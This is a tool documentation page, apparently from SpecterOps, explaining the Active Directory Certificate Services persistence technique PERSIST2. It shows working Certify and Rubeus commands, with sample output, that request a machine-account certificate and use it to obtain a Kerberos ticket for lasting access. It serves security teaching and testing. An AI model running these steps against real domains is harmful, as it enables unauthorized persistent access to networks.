> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.
# PERSIST2 - Machine Persistence via Certificates
> Learn how to extend initial access to a machine into persistent access by requesting a client authentication certificate in the context of the machine account.
PERSIST2 is a technique used to extend initial access to a machine into persistent access by requesting a client authentication certificate in the context of the machine account, which can be used for future authentication as the machine account. This requires administrative privileges on the system.
## Template Requirements
According to [Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf), the following criteria comprise a suitable certificate template:
The enterprise CA grants enrollment rights to the machine account. Otherwise, the account would be unable to request any certificates from the CA.
The certificate template grants enrollment rights to the machine account. Otherwise, the account would be unable to request certificates based on the specific template.
The "manager approval" feature is disabled for the certificate template. Otherwise, a "CA Manager" would have to manually review and approve the certificate request.
The "authorized signature" feature is disabled for the certificate template. Otherwise, an enrollment agent would need to sign the certificate request on behalf of the requester.
The certificate template defines an Extended Key Usage (EKU) that enables client authentication:
* `Client Authentication` (`1.3.6.1.5.5.7.3.2`)
* `PKINIT Client Authentication` (`1.3.6.1.5.2.3.4`)
* `Smart Card Logon` (`1.3.6.1.4.1.311.20.2.2`)
* `Any Purpose` (`2.5.29.37.0`)
* `Subordinate CA` (No EKUs)
## Enumeration
We can search for certificate templates with these conditions using the `enum-templates --filter-client-auth` command from Certify. For more information about the command and its parameters, please refer to the [Command Overview](./1-command-overview) page.
```diff theme={null}
> Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v2.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Classifying vulnerabilities in the context of built-in low-privileged domain groups.
...
[*] Enabled certificate templates found using the current filter parameters:
Template Name : Machine
Enabled : True
Publishing CAs : ca01.corp.local\CORP-CA01-CA
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Certificate Name Flag : SUBJECT_ALT_REQUIRE_DNS, SUBJECT_REQUIRE_DNS_AS_CN
Enrollment Flag : AUTO_ENROLLMENT
+ Manager Approval Required : False
+ Authorized Signatures Required : 0
+ Extended Key Usage : Client Authentication, Server Authentication
Certificate Application Policies :
Permissions
Enrollment Permissions
+ Enrollment Rights : CORP\Domain Computers S-1-5-21-976219687-1556195986-4104514715-515
Object Control Permissions
Certify completed in 00:00:01.7777410
```
Once we have identified a suitable certificate template that the machine account can enroll in, we can request a certificate based on the template using the `request` command from Certify.
Note the use of the `--machine` parameter to request a certificate for the machine account rather than the current user account.
```
> Certify.exe request --ca ca01.corp.local\CORP-CA01-CA --template Machine --machine
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v2.0.0
[*] Action: Request a certificate
[*] Elevating to SYSTEM context for machine cert request
[*] Current user context : NT AUTHORITY\SYSTEM
[*] No subject name specified, using current machine as subject
[*] Template : Machine
[*] Subject : CN=WS01.corp.local
[*] Certificate Authority : ca01.corp.local\CORP-CA01-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 1
[*] Certificate (PFX) :
MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh...
Certify completed in 00:00:03.5329344
```
When the certificate has been issued, it can be used to persistently authenticate as the machine account using the [`asktgt`](/GhostPack/Rubeus-mdx/commands/ticket-requests/asktgt) command from [Rubeus](/ghostpack-docs/Rubeus-mdx/overview).
```
> Rubeus.exe asktgt /user:WS01$ /certificate:MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=WS01.corp.local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.local\WS01$'
[*] Using domain controller: 10.10.10.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGAjCCBf6gAwIBBaEDAgEWooIFFzCCBRNhggUPMIIFC6ADAgEFoQ8bDU1FR0FLRUsuTE9DQUyiIjAg
...
ServiceName : krbtgt/corp.local
ServiceRealm : CORP.LOCAL
UserName : WS01$
UserRealm : CORP.LOCAL
StartTime : 30/06/2025 15.32.19
EndTime : 01/07/2025 01.32.19
RenewTill : 07/07/2025 15.32.19
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 1c0P/+z4mogj2vJl122GvA==
ASREP (key) : B357DDA2405237F78276BB9DA9720749
```
The issued certificate will be able to authenticate for as long as is mentioned in the `Validity Period` attribute of the certificate template. In order to extend the persistence period, you need to abuse [PERSIST3 - Account Persistence via Certificate Renewal](./persist3-account-persistence-via-certificate-renewal).